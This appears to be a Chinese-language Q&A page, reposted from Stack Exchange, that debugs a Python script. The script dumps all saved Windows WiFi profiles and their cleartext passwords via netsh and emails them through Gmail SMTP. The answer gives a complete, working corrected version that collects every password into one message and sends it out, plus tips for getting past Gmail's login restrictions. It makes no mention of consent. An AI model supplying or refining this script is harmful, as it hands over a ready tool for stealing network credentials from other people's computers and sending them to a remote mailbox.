You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

运行WiFi密码采集Python脚本遇TypeError,需转字符串/字节对象,该改何处?

解决Python发送WiFi配置邮件时的TypeError问题

嘿,我看了你的问题和报错信息,这个问题其实很常见——你传给send_mail函数的results是一个列表,而不是字符串/字节对象,这就是报错TypeError: expected string or bytes-like object的核心原因。而且你现在的代码里,results最后只保存了最后一个WiFi的密码列表,根本没把所有WiFi的信息收集起来,肯定没法正确发邮件呀!

先给你理清楚核心问题点:

  • 你的循环里每次处理一个WiFi,results会被重新赋值为当前WiFi的密码列表(比如['123456']或者空列表[])
  • 最后调用send_mail时,你传的是这个仅存最后一个WiFi信息的列表,而smtplib.sendmail要求消息必须是字符串或字节类型,直接传列表自然会触发类型错误。

接下来是修改方案,我会给出完整的修正代码,同时标注关键修改的地方:

import subprocess, smtplib

def send_mail(email,password,message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email,password)
    server.sendmail(email, email, message)
    server.quit()

# 新增:初始化一个空字符串,用来存储所有WiFi的信息
email_content = ""

a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]

for i in a:
    results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')
    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
    try:
        # 把当前WiFi的信息追加到email_content里,而不是只打印
        wifi_info = "{:<30}| {:<}\n".format(i, results[0])
        print(wifi_info.strip())
        email_content += wifi_info
    except IndexError:
        wifi_info = "{:<30}| {:<}\n".format(i,"")
        print(wifi_info.strip())
        email_content += wifi_info

# 修改:把收集好的email_content(字符串)传给send_mail,而不是results列表
send_mail("example@gmail.com","Example123",email_content)

关键修改点说明:

  1. 新增email_content字符串:用来累计所有WiFi的名称和密码信息,避免只保留最后一个WiFi的数据。
  2. 循环内追加信息到email_content:每次处理完一个WiFi,就把格式化后的字符串加到email_content里,这样最后就有完整的所有WiFi信息了。
  3. 调用send_mail时传入email_content:现在传入的是标准字符串类型,完全符合smtplib的要求,不会再报类型错误。

另外还有个小提醒:现在Gmail默认不允许普通密码直接通过SMTP登录了,你需要:

  • 开启两步验证,然后创建一个应用专用密码,用这个密码代替代码里的Example123
  • 或者临时开启「允许低安全性应用访问」(不推荐,有安全风险)

这样修改后,你的代码就能正常把所有WiFi的信息发送到指定邮箱啦!

内容的提问来源于stack exchange,提问作者Tharun kumar

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.07 19:37:35